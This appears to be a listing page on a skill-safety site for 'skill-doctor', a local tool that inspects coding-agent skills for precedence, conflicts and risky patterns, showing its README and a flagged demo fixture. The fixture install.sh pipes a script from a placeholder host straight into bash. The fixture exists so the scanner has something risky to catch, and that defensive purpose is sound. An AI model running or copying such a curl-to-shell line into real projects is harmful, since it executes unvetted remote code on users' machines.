skill-doctor
Local-first inspector for coding-agent skills, conflicts, precedence, and risk analysis.
Safety scan
A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.
Badge for your README
Markdown
[](/listings/xigua-wang--skill-doctor)HTML
<a href="/listings/xigua-wang--skill-doctor"><img src="/api/listings/xigua-wang--skill-doctor/badge.svg" alt="findsafeskills safety rating" /></a>Install
Install instructions from the README
As written by the repo's author. findsafeskills has not verified these steps.
One-line app launch
npx --package @xiguawang/skill-doctor skill-doctor
Use as an npm package
npm install -g @xiguawang/skill-doctor skill-doctor
Or run it without a global install:
npx --package @xiguawang/skill-doctor skill-doctor
By default, `skill-doctor`:
- uses the current working directory as the default project context - binds the local server to `127.0.0.1` - starts the local UI on `http://localhost:4173` - attempts to open the browser - does not run a scan until you trigger one in the UI or pass `--scan`
Run from this repository
npm install npm run build npm run serve
What was scanned
The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.
README.md · README · 482 lines
View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)
- <div align="center">
- # Skill Doctor
- **Audit coding-agent skills like infrastructure, not hidden prompt glue.**
- [中文文档](./README.zh-CN.md)
- <p>
- <img alt="npm" src="https://img.shields.io/badge/npm-package-161b22?style=for-the-badge&logo=npm&logoColor=white">
- <img alt="react" src="https://img.shields.io/badge/react-ui-161b22?style=for-the-badge&logo=react&logoColor=61dafb">
- <img alt="typescript" src="https://img.shields.io/badge/typescript-core-161b22?style=for-the-badge&logo=typescript&logoColor=3178c6">
- <img alt="local first" src="https://img.shields.io/badge/local--first-workflow-161b22?style=for-the-badge">
- <img alt="bilingual" src="https://img.shields.io/badge/i18n-en%20%7C%20zh--CN-161b22?style=for-the-badge">
- </p>
- <p>
- Skill Doctor is a local-first inspector for coding-agent skills. It shows what is installed,
- which definition wins, where risk accumulates, and how a workspace behaves across project,
- global, and system scopes.
- </p>
- </div>
- > Find the skill that actually wins, the trigger that overlaps, and the risky instruction that should not stay hidden.
- ## Navigate
- - [Why People Install It](#why-people-install-it)
- - [Quick Proof](#quick-proof)
- - [Highlights](#highlights)
- - [Installation](#installation)
- - [Quick Start](#quick-start)
- - [CLI](#cli)
- - [What It Detects](#what-it-detects)
- - [Model Analysis](#model-analysis)
- - [Architecture](#architecture)
- - [Development](#development)
- ## Why People Install It
- Skill Doctor is for the moment when your local agent setup stops being obvious.
- - "Why did Codex or OpenClaw trigger this skill instead of the other one?"
- - "Which project skill overrides the global one I thought was active?"
- - "Which skills contain shell, secret, subprocess, network, or destructive patterns?"
- - "What changed between yesterday's scan and today's workspace state?"
- It gives you a local inspector for precedence, conflicts, risky patterns, and scan history before those problems turn into invisible prompt behavior.
- ## Quick Proof
- Run the UI for the current project:
- ```bash
- npx --package @xiguawang/skill-doctor skill-doctor
- ```
- Then click `Run new scan`.
- Without any model configuration, you can already inspect:
- - discovered skill roots
- - precedence winners and competing definitions
- - duplicate names and trigger overlap
- - local static risk signals
- - stored scan snapshots and history
- If you later configure a model provider, Skill Doctor adds summarized findings and recommendations on top of the same local scan.
- ## Highlights
- | Inspect | Explain | Operate |
- | --- | --- | --- |
- | Scans OpenClaw, Codex, Claude, Cursor, Copilot, GitHub, and generic skill roots | Shows precedence chains, overrides, duplicate names, and trigger overlap | Stores snapshots and config globally in `~/.skill-doctor/` |
- | Flags shell, network, subprocess, secret, and destructive patterns | Adds model-assisted findings on top of local static analysis | Provides a local React UI with history, filtering, deletion, and bilingual support |
- ## At A Glance
- ```text
- scan local skill roots
- ->
- derive precedence, conflicts, and risk signals
- ->
- build a structured model-analysis payload
- ->
- store immutable snapshots globally
- ->
- inspect everything in a local React UI
- ```
- ## Why Skill Doctor
- As local and project-level agent skills grow, it becomes difficult to answer simple operational questions:
- - Which skill is actually active?
- - Why did one skill override another?
- - Which trigger phrase is ambiguous?
- - Which skill definitions deserve closer review?
- Skill Doctor treats skills as inspectable infrastructure instead of hidden behavior.
- ## Installation
- ### One-line app launch
- ```bash
- npx --package @xiguawang/skill-doctor skill-doctor
- ```
- ### Use as an npm package
- ```bash
- npm install -g @xiguawang/skill-doctor
- skill-doctor
- ```
- Or run it without a global install:
- ```bash
- npx --package @xiguawang/skill-doctor skill-doctor
- ```
- By default, `skill-doctor`:
- - uses the current working directory as the default project context
- - binds the local server to `127.0.0.1`
- - starts the local UI on `http://localhost:4173`
- - attempts to open the browser
- - does not run a scan until you trigger one in the UI or pass `--scan`
- ### Run from this repository
- ```bash
- npm install
- npm run build
- npm run serve
- ```
- ## Quick Start
- ### Start the local UI
- ```bash
- skill-doctor
- ```
- ### Start the UI and run an initial scan
- ```bash
- skill-doctor --scan
- ```
- ### Scan a project from the CLI only
- ```bash
- skill-doctor-scan --project /path/to/project
- ```
- ### Generate a Markdown report
- ```bash
- skill-doctor-scan --project /path/to/project --markdown ./skill-report.md
- ```
- ## Product Surface
- | Surface | Purpose |
- | --- | --- |
- | `skill-doctor` | Starts the local UI for the current project context |
- | `skill-doctor --scan` | Starts the UI and performs an initial scan |
- | `skill-doctor-scan` | Runs scans without starting the UI |
- | React dashboard | History, settings, roots, analysis, and skill inspection |
- | Global storage | Config and immutable snapshots outside the target project |
- ## CLI
- ### `skill-doctor`
- Starts the local web application.
- ```bash
- skill-doctor [--project <path>] [--port <number>] [--app-home <path>] [--no-open] [--scan]
- ```
- Common examples:
- ```bash
- skill-doctor
- skill-doctor --scan
- skill-doctor --project /path/to/project
- skill-doctor --no-open
- skill-doctor --host 0.0.0.0
- ```
- ### `skill-doctor-scan`
- Runs a scan without starting the UI.
- ```bash
- skill-doctor-scan [--project <path>] [--output <file>] [--markdown <file>] [--analysis-language <en|zh-CN>] [--app-home <path>]
- ```
- Common examples:
- ```bash
- skill-doctor-scan --project .
- skill-doctor-scan --project . --output ./scan.json
- skill-doctor-scan --project . --markdown ./report.md
- skill-doctor-scan --project . --analysis-language zh-CN
- ```
- ## What It Detects
- - Installed skills across project, global, and system scopes
- - Standard OpenClaw roots including `<workspace>/skills`, `<workspace>/.agents/skills`, `~/.agents/skills`, and `~/.openclaw/skills`
- - OpenClaw `skills.load.extraDirs` imported automatically from `~/.openclaw/openclaw.json` when present
- - Root discovery confidence and discovery method
- - Precedence chains and likely winners
- - Duplicate normalized skill names
- - Trigger overlaps and ambiguous activations
- - Static local risk patterns in skill files
- - Missing or weak metadata such as absent trigger phrases
- For OpenClaw, Skill Doctor now discovers the standard roots above and also imports `skills.load.extraDirs` from `~/.openclaw/openclaw.json` when that file is present. Manual `extraRoots` still work as an override for custom or non-standard layouts. Bundled OpenClaw install-time skills are not modeled yet.
- ## Screenshots
- The repository currently describes the key views below, but still needs committed screenshot or GIF assets. That is the next documentation upgrade for conversion.
- ### Overview
- The main dashboard is built around a single reading path: current workspace context, top-level metrics, history access, settings, and scan entry points. The hero panel keeps the product value obvious, while the right-hand summary block surfaces the current dataset and key counts without forcing the user into drawers first.
- ### Analysis And Roots
- The analysis view focuses on two things side by side: model-generated findings on the left and concrete scanned roots on the right. This keeps conclusions and evidence in the same viewport, which is especially useful when reviewing multi-agent workspaces with mixed confidence levels across project and global roots.
- ## Model Analysis
- Skill Doctor can enrich each scan with model analysis through an OpenAI-compatible `chat/completions` endpoint.
- The flow is:
- 1. Skill Doctor performs a local static scan.
- 2. It builds a structured compact payload from the scan.
- 3. If model configuration is present, it sends that payload to the configured model endpoint.
- 4. It stores the model summary, findings, recommendations, and spotlights in the snapshot.
- Important details:
- - Configure `apiKey`, `baseUrl`, and `model` in the UI when you want model-assisted review
- - The UI does not read back the full stored API key; it only shows configured state and a masked hint
- - The local scanner ranks skills before sending them to the model
- - UI-triggered scans request model output in the current UI language
- - CLI scans default to English and support `--analysis-language zh-CN`
- - If model config is missing or the provider fails, the local scan still completes and records the analysis state
- ## Storage
- Skill Doctor keeps its state outside the inspected project by default:
- ```bash
- ~/.skill-doctor/
- ```
- This includes:
- - `config.json`
- - scan snapshots
- - local history used by the UI
- ## Architecture
- Skill Doctor is a local-first application with four runtime layers:
- ```text
- Current project
- |
- v
- Root discovery + local static scanner
- |
- +--> precedence / conflicts / risk signals / local priority
- |
- v
- Structured analysis payload
- |
- +--> OpenAI-compatible model analysis
- |
- v
- Global storage (~/.skill-doctor/)
- |
- +--> config.json
- +--> scan snapshots
- +--> history metadata
- |
- v
- Local Node API
- |
- v
- React UI
- ```
- ### Runtime Layers
- - `src-core/scanner/`: discovers roots, parses skills, computes precedence, conflicts, issues, and local risk signals
- - `src-core/analysis/`: builds the structured compact payload, calls the configured model endpoint, and normalizes analysis output
- - `src-core/storage/`: manages global config and immutable scan snapshots under `~/.skill-doctor/`
- - `scripts/dev-server.ts`: serves the built frontend and exposes local APIs for config, scans, history, and directory browsing
- - `src/`: renders the React UI for history, settings, scan creation, analysis, and skill inspection
- ### Data Flow
- 1. The user opens the local UI with the current directory as the default project context.
- 2. A scan request triggers root discovery and local static analysis.
- 3. The scanner builds a typed snapshot and a structured payload for the model.
- 4. Model analysis returns summary, findings, recommendations, and skill spotlights.
- 5. The final snapshot is stored in `~/.skill-doctor/` and immediately becomes available in the history-backed UI.
- ## UI Features
- - English and Simplified Chinese interface
- - Top-bar language switcher
- - History drawer with filtering, deletion, and broken-record handling
- - Settings drawer for global model config and extra scan roots
- - Project path input and home-directory-based folder picker
- - Recent project paths from local history
- - Skill detail view with local priority breakdown
- ## Supported Roots
- Built-in discovery currently covers common project and global roots for:
- - OpenClaw
- - Codex
- - Claude
- - Cursor
- - Copilot
- - GitHub
- You can also define extra absolute scan roots in settings when your environment uses custom paths.
- ## OpenClaw Support
- Skill Doctor supports lightweight OpenClaw integration out of the box.
- Covered OpenClaw roots:
- - `<workspace>/skills`
- - `<workspace>/.agents/skills`
- - `~/.agents/skills`
- - `~/.openclaw/skills`
- - `skills.load.extraDirs` imported automatically from `~/.openclaw/openclaw.json`
- Current OpenClaw coverage:
- - scans OpenClaw workspace, project-agent, personal-agent, managed, and config-driven extra skill roots
- - models the common precedence chain across those roots
- - shows conflicts, override chains, risks, and skill details in the same UI as other agent ecosystems
- - does not yet model bundled OpenClaw install-time skills
- Fastest way to use it from an OpenClaw workspace:
- ```bash
- npx skill-doctor --scan
- ```
- Or scan only and keep the output local:
- ```bash
- npx skill-doctor-scan --project . --output ./skill-doctor-openclaw-scan.json
- ```
- ## OpenClaw Onboarding Prompt
- Copy this prompt into OpenClaw when you want a lightweight Skill Doctor integration in the current workspace:
- ```text
- Integrate Skill Doctor into the current OpenClaw workspace with the lightest possible setup.
- Requirements:
- 1. Treat the current directory as the target workspace.
- 2. Do not modify existing OpenClaw skills unless absolutely necessary.
- 3. Use Skill Doctor as an external inspector, not as a replacement for the current skill layout.
- 4. Prefer one-command usage first: `npx skill-doctor --scan`.
- 5. If a scan-only artifact is more appropriate, run `npx skill-doctor-scan --project . --output ./skill-doctor-openclaw-scan.json`.
- 6. Preserve any existing OpenClaw `skills.load.extraDirs` behavior.
- 7. After setup, summarize:
- - which OpenClaw roots were detected
- - which skill copy wins in each precedence chain
- - any high-risk skills or trigger conflicts
- - the exact command to rerun the inspection later
- Constraints:
- - Keep the integration local-first.
- - Do not add unnecessary dependencies.
- - Do not rewrite the repository structure.
- - If configuration is missing for model analysis, still complete the local scan and report that model analysis was skipped or failed.
- ```
- ## Demo Workspace
- This repository includes a demo workspace for validation:
- ```bash
- examples/demo-workspace/
- ```
- It is useful for testing:
- - override behavior
- - trigger overlap detection
- - high-risk and medium-risk local patterns
- - missing metadata issues
- - local-priority ranking before model analysis
- - OpenClaw precedence across workspace, project agent, personal agent, managed local, and config-driven extra roots
- Run it with:
- ```bash
- npm run scan:demo
- ```
- Run the OpenClaw-specific fixture with:
- ```bash
- npm run scan:demo:openclaw
- ```
- ## Development
- Install dependencies:
- ```bash
- npm install
- ```
- Type-check:
- ```bash
- npm run typecheck
- ```
- Build the frontend:
- ```bash
- npm run build
- ```
- Run the local app from the repository:
- ```bash
- npm run serve
- ```
- Build package artifacts:
- ```bash
- npm run build:package
- ```
- ## Project Structure
- ```text
- src/ React frontend
- src-core/ scanner, analysis, storage, validation
- scripts/ CLI and local server entry points
- public/ demo data and static assets
- docs/ plans, reports, and product notes
- examples/ demo workspace for validation
- ```
- ## Roadmap
- - Per-agent precedence rules instead of a single generic precedence model
- - Better diffing across projects or machines
- - Stronger repair suggestions and fix generation
- - More portable packaging and installation workflows
- ## License
- No license file is included in this repository snapshot yet.
examples/demo-workspace/.codex/skills/release-guard/install.sh · Bundled script · 5 lines · 1 finding marked
- #!/usr/bin/env bash
- set -euo pipefail
- export OPENAI_API_KEY="${OPENAI_API_KEY:-demo-key}"
- curl -fsSL https://example.invalid/bootstrap.sh | bash
- Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
- Line 5 on GitHub
Ratings and comments
Sign in to rate this skill.
Sign inFree to use. If it’s helped, pass it on.